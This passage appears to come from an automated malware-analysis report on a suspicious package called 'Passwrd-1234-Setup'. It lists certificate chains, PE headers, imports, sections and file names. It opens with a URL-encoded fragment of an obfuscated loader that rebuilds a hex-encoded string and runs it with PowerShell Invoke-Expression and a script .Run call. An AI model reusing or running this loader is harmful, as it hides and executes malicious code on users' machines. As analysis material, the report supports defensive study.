33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%30%23%23%23%25%63%23%23%23%35%33%23%23%23%25%66%23%23%23%35%33%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%36%65%23%23%23%25%37%23%23%23%32%37%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%35%33%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%30%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%35%37%23%23%23%36%65%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%35%33%23%23%23%25%66%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%36%66%23%23%23%36%31%23%23%23%25%25%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%35%25%23%23%23%37%32%23%23%23%25%39%23%23%23%32%37%23%23%23%32%39%23%23%23%33%62%23%23%23%32%25%23%23%23%25%31%23%23%23%32%30%23%23%23%33%64%23%23%23%32%37%23%23%23%25%39%23%23%23%36%30%23%23%23%25%35%23%23%23%36%66%23%23%23%37%33%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%36%30%23%23%23%35%37%23%23%23%36%30%23%23%23%25%32%23%23%23%35%25%23%23%23%25%33%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%36%61%23%23%23%36%30%23%23%23%25%35%23%23%23%35%25%23%23%23%25%38%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%30%23%23%23%32%25%23%23%23%25%32%23%23%23%32%39%23%23%23%32%65%23%23%23%32%25%23%23%23%25%33%23%23%23%25%33%23%23%23%32%38%23%23%23%32%25%23%23%23%35%25%23%23%23%35%32%23%23%23%35%35%23%23%23%25%64%23%23%23%35%30%23%23%23%32%39%23%23%23%32%37%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%36%66%23%23%23%37%33%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%35%38%23%23%23%32%38%23%23%23%36%65%23%23%23%36%30%23%23%23%36%35%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%25%32%23%23%23%35%25%23%23%23%25%33%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%32%64%23%23%23%25%66%23%23%23%36%32%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%35%25%23%23%23%25%38%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%36%30%23%23%23%36%33%23%23%23%36%30%23%23%23%35%25%23%23%23%32%37%23%23%23%32%39%23%23%23%33%62%23%23%23%32%36%23%23%23%32%38%23%23%23%32%37%23%23%23%25%39%23%23%23%32%37%23%23%23%32%62%23%23%23%32%37%23%23%23%25%35%23%23%23%35%38%23%23%23%32%37%23%23%23%32%39%23%23%23%32%38%23%23%23%32%25%23%23%23%25%31%23%23%23%32%30%23%23%23%32%64%23%23%23%25%61%23%23%23%36%66%23%23%23%36%39%23%23%23%36%65%23%23%23%32%30%23%23%23%32%37%23%23%23%32%37%23%23%23%32%39%23%23%23%37%63%23%23%23%32%36%23%23%23%32%38%23%23%23%32%37%23%23%23%25%39%23%23%23%32%37%23%23%23%32%62%23%23%23%32%37%23%23%23%25%35%23%23%23%35%38%23%23%23%32%37%23%23%23%32%39%23%23%23%33%62%27%2E%52%65%70%6C%61%63%65%28%27%25%27%2C%27%34%27%29%3B%49%6E%76%6F%6B%65%2D%45%78%70%72%65%73%73%69%6F%6E%20%28%2D%6A%6F%69%6E%20%28%24%53%68%69%62%20%2D%73%70%6C%69%74%20%27%23%23%23%27%20%7C%20%3F%20%7B%20%24%5F%20%7D%20%7C%20%25%20%7B%20%5B%63%68%61%72%5D%5B%63%6F%6E%76%65%72%74%5D%3A%3A%54%6F%55%49%6E%74%33%32%28%24%5F%2C%31%36%29%20%7D%29%29%22%0A%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%2E%52%75%6E%28%48%32%2B%22%22%29%2C%30%2C%54%72%75%65%0A%53%65%74%20%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%

39:4c:25:e1:7c:a0:6d:27:a8:65:e2:3b:d9:1d:22:d4
Certificate

Issuer

CN=Sectigo RSA Time Stamping CA,O=Sectigo Limited,L=Salford,ST=Greater Manchester,C=GB

Not Before

03/05/2023, 00:00

Not After

02/08/2034, 23:59

Subject

CN=Sectigo RSA Time Stamping Signer #4,O=Sectigo Limited,ST=Manchester,C=GB

Extended Key Usages

ExtKeyUsageTimeStamping

Key Usages

KeyUsageDigitalSignature
KeyUsageContentCommitment

30:0f:6f:ac:dd:66:98:74:7c:a9:46:36:a7:78:2d:b9
Certificate

Issuer

CN=USERTrust RSA Certification Authority,O=The USERTRUST Network,L=Jersey City,ST=New Jersey,C=US

Not Before

02/05/2019, 00:00

Not After

18/01/2038, 23:59

Subject

CN=Sectigo RSA Time Stamping CA,O=Sectigo Limited,L=Salford,ST=Greater Manchester,C=GB

Extended Key Usages

ExtKeyUsageTimeStamping

Key Usages

KeyUsageDigitalSignature
KeyUsageCertSign
KeyUsageCRLSign

9f:f8:49:2c:d5:4e:ad:f1:6e:09:1b:0d:01:26:55:4f:0b:16:ef:c3:97:d5:5a:8c:da:98:47:f9:33:22:4e:e6
Signer

Actual PE Digest

9f:f8:49:2c:d5:4e:ad:f1:6e:09:1b:0d:01:26:55:4f:0b:16:ef:c3:97:d5:5a:8c:da:98:47:f9:33:22:4e:e6

Digest Algorithm

sha256

PE Digest Matches

false

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_32BIT_MACHINE

Imports

kernel32

CloseHandle
GetSystemTimeAsFileTime
LocalAlloc
LocalFree
GetModuleFileNameW
ExitProcess
LoadLibraryA
GetModuleHandleA
GetProcAddress

user32

EnumDisplayDevicesA
CharUpperBuffW

advapi32

GetCurrentHwProfileW

gdi32

BitBlt

shlwapi

PathFileExistsW

winhttp

WinHttpCloseHandle

iphlpapi

GetAdaptersInfo

wininet

InternetQueryDataAvailable

crypt32

CryptStringToBinaryA

Sections

.text
Size: - Virtual size: 394KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rdata
Size: - Virtual size: 47KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.data
Size: - Virtual size: 8KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ
IMAGE_SCN_MEM_WRITE

.vmp0
Size: - Virtual size: 3.0MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.vmp1
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ
IMAGE_SCN_MEM_WRITE

.vmp2
Size: 4.7MB - Virtual size: 4.7MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.reloc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.rsrc
Size: 75KB - Virtual size: 75KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/VBoxDDU.dll
.dll windows:5 windows x64

d0a9f9d675e896da1eff48651ce83dd8

Code Sign

7e:93:eb:fb:7c:c6:4e:59:ea:4b:9a:77:d4:06:fc:3b
Certificate

Issuer

CN=Thawte Timestamping CA,OU=Thawte Certification,O=Thawte,L=Durbanville,ST=Western Cape,C=ZA

Not Before

21/12/2012, 00:00

Not After

30/12/2020, 23:59

Subject

CN=Symantec Time Stamping Services CA - G2,O=Symantec Corporation,C=US

Extended Key Usages

ExtKeyUsageTimeStamping

Key Usages

KeyUsageCertSign
KeyUsageCRLSign

0e:cf:f4:38:c8:fe:bf:35:6e:04:d8:6a:98:1b:1a:50
Certificate

Issuer

CN=Symantec Time Stamping Services CA - G2,O=Symantec Corporation,C=US

Not Before

18/10/2012, 00:00

Not After

29/12/2020, 23:59

Subject

CN=Symantec Time Stamping Services Signer - G4,O=Symantec Corporation,C=US

Extended Key Usages

ExtKeyUsageTimeStamping

Key Usages

KeyUsageDigitalSignature

25:0c:e8:e0:30:61:2e:9f:2b:89:f7:05:4d:7c:f8:fd
Certificate

Issuer

OU=Class 3 Public Primary Certification Authority,O=VeriSign\, Inc.,C=US

Not Before

08/11/2006, 00:00

Not After

07/11/2021, 23:59

Subject

CN=VeriSign Class 3 Public Primary Certification Authority - G5,OU=VeriSign Trust Network+OU=(c) 2006 VeriSign\, Inc. - For authorized use only,O=VeriSign\, Inc.,C=US

Extended Key Usages

ExtKeyUsageServerAuth
ExtKeyUsageClientAuth
ExtKeyUsageCodeSigning
ExtKeyUsageNetscapeServerGatedCrypto

Key Usages

KeyUsageCertSign
KeyUsageCRLSign

61:0c:12:06:00:00:00:00:00:1b
Certificate

Issuer

CN=Microsoft Code Verification Root,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Not Before

23/05/2006, 17:01

Not After

23/05/2016, 17:11

Subject

OU=Class 3 Public Primary Certification Authority,O=VeriSign\, Inc.,C=US

Key Usages

KeyUsageDigitalSignature
KeyUsageCertSign
KeyUsageCRLSign

51:9b:d9:67:f9:08:01:55:21:a2:0c:0e:93:16:f4:89
Certificate

Issuer

CN=VeriSign Class 3 Code Signing 2010 CA,OU=VeriSign Trust Network+OU=Terms of use at https://www.verisign.com/rpa (c)10,O=VeriSign\, Inc.,C=US

Not Before

08/02/2011, 00:00

Not After

07/02/2014, 23:59

Subject

CN=Oracle Corporation,OU=Digital ID Class 3 - Microsoft Software Validation v2,O=Oracle Corporation,L=Redwood Shores,ST=California,C=US

Extended Key Usages

ExtKeyUsageCodeSigning

Key Usages

KeyUsageDigitalSignature

52:00:e5:aa:25:56:fc:1a:86:ed:96:c9:d4:4b:33:c7
Certificate

Issuer

CN=VeriSign Class 3 Public Primary Certification Authority - G5,OU=VeriSign Trust Network+OU=(c) 2006 VeriSign\, Inc. - For authorized use only,O=VeriSign\, Inc.,C=US

Not Before

08/02/2010, 00:00

Not After

07/02/2020, 23:59

Subject

CN=VeriSign Class 3 Code Signing 2010 CA,OU=VeriSign Trust Network+OU=Terms of use at https://www.verisign.com/rpa (c)10,O=VeriSign\, Inc.,C=US

Extended Key Usages

ExtKeyUsageClientAuth
ExtKeyUsageCodeSigning

Key Usages

KeyUsageCertSign
KeyUsageCRLSign

5c:52:6d:af:38:ee:d7:43:38:55:4c:ba:d9:01:9a:fa:4c:85:dc:e4
Signer

Actual PE Digest

5c:52:6d:af:38:ee:d7:43:38:55:4c:ba:d9:01:9a:fa:4c:85:dc:e4

Digest Algorithm

sha1

PE Digest Matches

true

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

msvcr100

_vsnprintf
malloc
_wsplitpath
wcsrchr
_onexit
_lock
__dllonexit
_unlock
__clean_type_info_names_internal
__crt_debugger_hook
__CppXcptFilter
__C_specific_handler
_amsg_exit
_encoded_null
free
_initterm_e
_initterm
_malloc_crt
memcpy
memset
_wcsicmp
memchr
sprintf
strstr
memmove
strncat
strncmp
strchr
strncpy
memcmp

vboxrt

RTCritSectEnter
RTUuidCreate
RTMemTmpFree
RTMemTmpAllocTag
RTSgBufCmp
RTSgBufAdvance
RTDirClose
RTStrFree
RTLdrClose
RTLdrGetSymbol
SUPR3HardenedLdrLoadPlugIn
RTDirReadEx
RTDirOpenFiltered
RTPathJoinA
RTCritSectLeave
RTFileOpen
RTFileClose
RTFileDelete
RTFileMove
RTFsQuerySizes
RTPathQueryInfo
RTFileGetSize
RTFileSetSize
RTFileWriteAt
RTFileReadAt
RTFileFlush
RTAvlrFileOffsetRemove
RTAvlrFileOffsetDestroy
RTSgBufSegArrayCreate
RTAvlrFileOffsetInsert
RTAvlrFileOffsetGet
RTLogPrintfV
RTLogLoggerEx
RTLogRelDefaultInstance
RTStrICmp
RTCritSectInit
RTStrDupTag
RTUuidClear
RTCritSectDelete
RTUuidIsNull
RTUuidCompare
RTAssertShouldPanic
RTAssertMsg2Weak
RTAssertMsg1Weak
RTStrAPrintfVTag
RTStrToUInt64Full
RTTimeMilliTS
RTStrToUInt16Ex
ASMBitFirstClear
RTMd5Final
RTMd5Update
RTMd5Init
RTSemMutexRelease
RTSemMutexRequest
RTSemEventSignal
RTSemEventWait
RTCritSectTryEnter
RTSemEventCreate
RTThreadSleep
RTStrToUInt8Ex
RTStrPrintf
RTThreadWait
RTSemMutexDestroy
RTThreadCreate
RTSemMutexCreate
RTMemTmpAllocZTag
RTPathExt
RTUuidCompareStr
RTMemPageFree
RTMemPageAllocZTag
RTZipDecompDestroy
RTZipDecompress
RTZipDecompCreate
RTStrStripL
RTStrToInt32Ex
RTStrToUInt32Ex
RTMemDupExTag
RTBase64Decode
RTBase64DecodedSize
RTUtf16Free
RTUtf16Len
RTStrToUtf16Tag
RTPathAbs
RTPathCalcRelative
RTPathStartsWithRoot
RTPathFilename
RTTimeNow
RTStrNLen
RTStrGetCpInternal
RTStrGetCpExInternal
RTStrPutCpInternal
RTZipCompDestroy
RTZipCompFinish
RTZipCompress
RTZipCompCreate
RTUuidFromStr
RTRandU32
RTPathStripFilename
RTPathStripExt
RTStrToUInt64Ex
RTPathAbsDup
RTUtf16ToUtf8Tag
RTUtf16ToUtf8ExTag
RTErrConvertFromWin32
RTSgBufSet
RTSgBufCopy
RTMemAllocTag
RTSgBufReset
RTSgBufCopyToBuf
RTMemCacheAlloc
RTSgBufInit
RTMemCacheDestroy
RTMemAllocZTag
RTSgBufClone
RTAvlrU64RangeGet
ASMAtomicCmpXchgU8
ASMAtomicXchgU8
RTMemCacheFree
RTSgBufCopyFromBuf
RTAvlrU64GetBestFit
RTAvlrU64Insert
RTAvlrU64RangeRemove
RTMemReallocTag
RTSemEventDestroy
ASMBitFirstSet
RTStrToUInt32Full
RTMemCacheCreate
RTMemFree
RTPathAppPrivateArch

kernel32

CreateTimerQueue
CreateThread
WaitForSingleObject
DeleteTimerQueueEx
GetModuleHandleA
DeleteTimerQueueTimer
CreateTimerQueueTimer
CreateEventA
WaitForMultipleObjects
CreateFileA
GetLastError
DeviceIoControl
CloseHandle
GetSystemTimeAsFileTime
GetCurrentProcessId
GetFullPathNameW
FindFirstFileW
FindNextFileW
SetEvent
GetCurrentProcess
EncodePointer
DecodePointer
Sleep
TerminateProcess
FindClose
UnhandledExceptionFilter
SetUnhandledExceptionFilter
IsDebuggerPresent
RtlVirtualUnwind
RtlLookupFunctionEntry
RtlCaptureContext
DisableThreadLibraryCalls
QueryPerformanceCounter
GetTickCount
GetCurrentThreadId

user32

SetWindowPos
GetMessageA
CreateWindowExA
RegisterClassA
DefWindowProcA
UnregisterClassA
DestroyWindow
DispatchMessageA
PostMessageA
TranslateMessage

setupapi

SetupDiEnumDeviceInterfaces
SetupDiGetClassDevsA
SetupDiDestroyDeviceInfoList
SetupDiGetDeviceInterfaceDetailA
SetupDiGetDeviceRegistryPropertyA
SetupDiBuildDriverInfoList
SetupDiEnumDriverInfoW
SetupDiGetDriverInfoDetailW
SetupDiDestroyDriverInfoList
SetupOpenInfFileW
SetupCloseInfFile
SetupUninstallOEMInfW
SetupCopyOEMInfW
SetupGetStringFieldW
SetupFindFirstLineW
SetupDiCreateDeviceInfoList

newdev

UpdateDriverForPlugAndPlayDevicesW

advapi32

StartServiceW
QueryServiceStatus
OpenServiceW
OpenSCManagerW
CloseServiceHandle

shell32

SHGetFolderPathW

Exports

Exports

?USBFilterQueryNum@@YAHPEAUUSBFILTER@@W4USBFILTERIDX@@PEAG@Z
USBFilterClone
USBFilterDelete
USBFilterGetFilterType
USBFilterGetMatchingMethod
USBFilterGetNum
USBFilterGetString
USBFilterGetStringLen
USBFilterHasAnySubstatialCriteria
USBFilterInit
USBFilterIsIdentical
USBFilterIsMethodNumeric
USBFilterIsMethodString
USBFilterIsMethodUsingNumericValue
USBFilterIsMethodUsingStringValue
USBFilterIsNumericField
USBFilterIsStringField
USBFilterMatch
USBFilterMatchDevice
USBFilterMatchRated
USBFilterQueryString
USBFilterSetFilterType
USBFilterSetIgnore
USBFilterSetMustBePresent
USBFilterSetNumExact
USBFilterSetNumExpression
USBFilterSetPresentOnly
USBFilterSetStringExact
USBFilterSetStringPattern
USBFilterValidate
USBLibAddFilter
USBLibGetDevices
USBLibHashSerial
USBLibInit
USBLibInterruptWaitChange
USBLibRemoveFilter
USBLibRunFilters
USBLibTerm
USBLibWaitChange
VDAsyncDiscardRanges
VDAsyncFlush
VDAsyncRead
VDAsyncWrite
VDBackendInfo
VDBackendInfoOne
VDBackendInfoSingle
VDCacheClose
VDCacheOpen
VDClose
VDCloseAll
VDCompact
VDCopy
VDCopyEx
VDCreate
VDCreateBase
VDCreateCache
VDCreateDiff
VDDestroy
VDDiscardRanges
VDDumpImages
VDFlush
VDGetComment
VDGetCount
VDGetFileSize
VDGetFilename
VDGetFormat
VDGetImageFlags
VDGetLCHSGeometry
VDGetModificationUuid
VDGetOpenFlags
VDGetPCHSGeometry
VDGetParentUuid
VDGetSize
VDGetUuid
VDGetVersion
VDInit
VDIsReadOnly
VDMerge
VDOpen
VDRead
VDRepair
VDResize
VDSetComment
VDSetLCHSGeometry
VDSetModificationUuid
VDSetOpenFlags
VDSetPCHSGeometry
VDSetParentUuid
VDSetUuid
VDShutdown
VDWrite
VSCSIDeviceCreate
VSCSIDeviceDestroy
VSCSIDeviceLunAttach
VSCSIDeviceLunDetach
VSCSIDeviceLunGet
VSCSIDeviceReqCreate
VSCSIDeviceReqEnqueue
VSCSIIoReqCompleted
VSCSIIoReqParamsGet
VSCSIIoReqTxDirGet
VSCSIIoReqUnmapParamsGet
VSCSILunCreate
VSCSILunDestroy

Sections

.text
Size: 268KB - Virtual size: 268KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rdata
Size: 69KB - Virtual size: 69KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.data
Size: 5KB - Virtual size: 6KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ
IMAGE_SCN_MEM_WRITE

.pdata
Size: 16KB - Virtual size: 16KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 2KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/cockalorum.svg
.png
Passwrd-1234-Setup/en-US/AutoWorkplaceN.dll.mui
.dll windows:6 windows x86

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_32BIT_MACHINE
IMAGE_FILE_DLL

Sections

.rsrc
Size: 2KB - Virtual size: 4KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/en-US/avicap32.dll.mui
.dll windows:6 windows x86

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_32BIT_MACHINE
IMAGE_FILE_DLL

Sections

.rsrc
Size: 7KB - Virtual size: 8KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/engine.go
.js
Passwrd-1234-Setup/engine/modules/auth/auth.go
Passwrd-1234-Setup/engine/modules/auth/auth_test.go
Passwrd-1234-Setup/engine/modules/auth/middleware.go
.js
Passwrd-1234-Setup/engine/modules/auth/middleware_test.go
Passwrd-1234-Setup/engine/modules/auth/session.go
Passwrd-1234-Setup/engine/modules/collection/collection.go
.js
Passwrd-1234-Setup/engine/modules/collection/collection_test.go
Passwrd-1234-Setup/engine/modules/config/config.go
.js
Passwrd-1234-Setup/engine/modules/config/config.ini
Passwrd-1234-Setup/engine/modules/config/config.yaml
Passwrd-1234-Setup/engine/modules/config/config_test.go
Passwrd-1234-Setup/engine/modules/constant/constant.go
Passwrd-1234-Setup/engine/modules/db/base.go
Passwrd-1234-Setup/engine/modules/db/connection.go
Passwrd-1234-Setup/engine/modules/db/converter.go
Passwrd-1234-Setup/engine/modules/db/dialect/common.go
Passwrd-1234-Setup/engine/modules/db/dialect/dialect.go
Passwrd-1234-Setup/engine/modules/db/dialect/mssql.go
Passwrd-1234-Setup/engine/modules/db/dialect/mysql.go
Passwrd-1234-Setup/engine/modules/db/dialect/postgresql.go
Passwrd-1234-Setup/engine/modules/db/dialect/sqlite.go
Passwrd-1234-Setup/engine/modules/db/drivers/mssql/mssql.go
Passwrd-1234-Setup/engine/modules/db/drivers/mysql/mysql.go
Passwrd-1234-Setup/engine/modules/db/drivers/postgres/postgres.go
Passwrd-1234-Setup/engine/modules/db/drivers/sqlite/sqlite.go
Passwrd-1234-Setup/engine/modules/db/mssql.go
Passwrd-1234-Setup/engine/modules/db/mysql.go
Passwrd-1234-Setup/engine/modules/db/performer.go
.js
Passwrd-1234-Setup/engine/modules/db/postgresql.go
Passwrd-1234-Setup/engine/modules/db/sqlite.go
Passwrd-1234-Setup/engine/modules/db/statement.go
Passwrd-1234-Setup/engine/modules/db/statement_mssql_test.go
Passwrd-1234-Setup/engine/modules/db/statement_mysql_test.go
Passwrd-1234-Setup/engine/modules/db/statement_postgresql_test.go
Passwrd-1234-Setup/engine/modules/db/statement_sqlite_test.go
Passwrd-1234-Setup/engine/modules/db/statement_test.go
Passwrd-1234-Setup/engine/modules/db/types.go
Passwrd-1234-Setup/engine/modules/db/types_test.go
Passwrd-1234-Setup/engine/modules/errors/error.go
Passwrd-1234-Setup/engine/modules/file/file.go
.js
Passwrd-1234-Setup/engine/modules/file/local.go
Passwrd-1234-Setup/engine/modules/language/cn.go
.js
Passwrd-1234-Setup/engine/modules/language/en.go
.js
Passwrd-1234-Setup/engine/modules/language/jp.go
.js
Passwrd-1234-Setup/engine/modules/language/language.go
Passwrd-1234-Setup/engine/modules/language/language_test.go
Passwrd-1234-Setup/engine/modules/language/pt-BR.go
.js
Passwrd-1234-Setup/engine/modules/language/tc.go
.js
Passwrd-1234-Setup/engine/modules/logger/logger.go
Passwrd-1234-Setup/engine/modules/logger/logger_test.go
Passwrd-1234-Setup/engine/modules/menu/menu.go
.js
Passwrd-1234-Setup/engine/modules/menu/menu_test.go
Passwrd-1234-Setup/engine/modules/page/page.go
Passwrd-1234-Setup/engine/modules/remote_server/remote_server.go
Passwrd-1234-Setup/engine/modules/service/service.go
Passwrd-1234-Setup/engine/modules/system/application.go
Passwrd-1234-Setup/engine/modules/system/version.go
.js
Passwrd-1234-Setup/engine/modules/ui/ui.go
Passwrd-1234-Setup/engine/modules/utils/utils.go
Passwrd-1234-Setup/engine/modules/utils/utils_test.go
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.BootstrapIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 2.1MB - Virtual size: 2.1MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.BoxIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 2.0MB - Virtual size: 2.0MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Codicons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 557KB - Virtual size: 556KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Coolicons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 449KB - Virtual size: 448KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
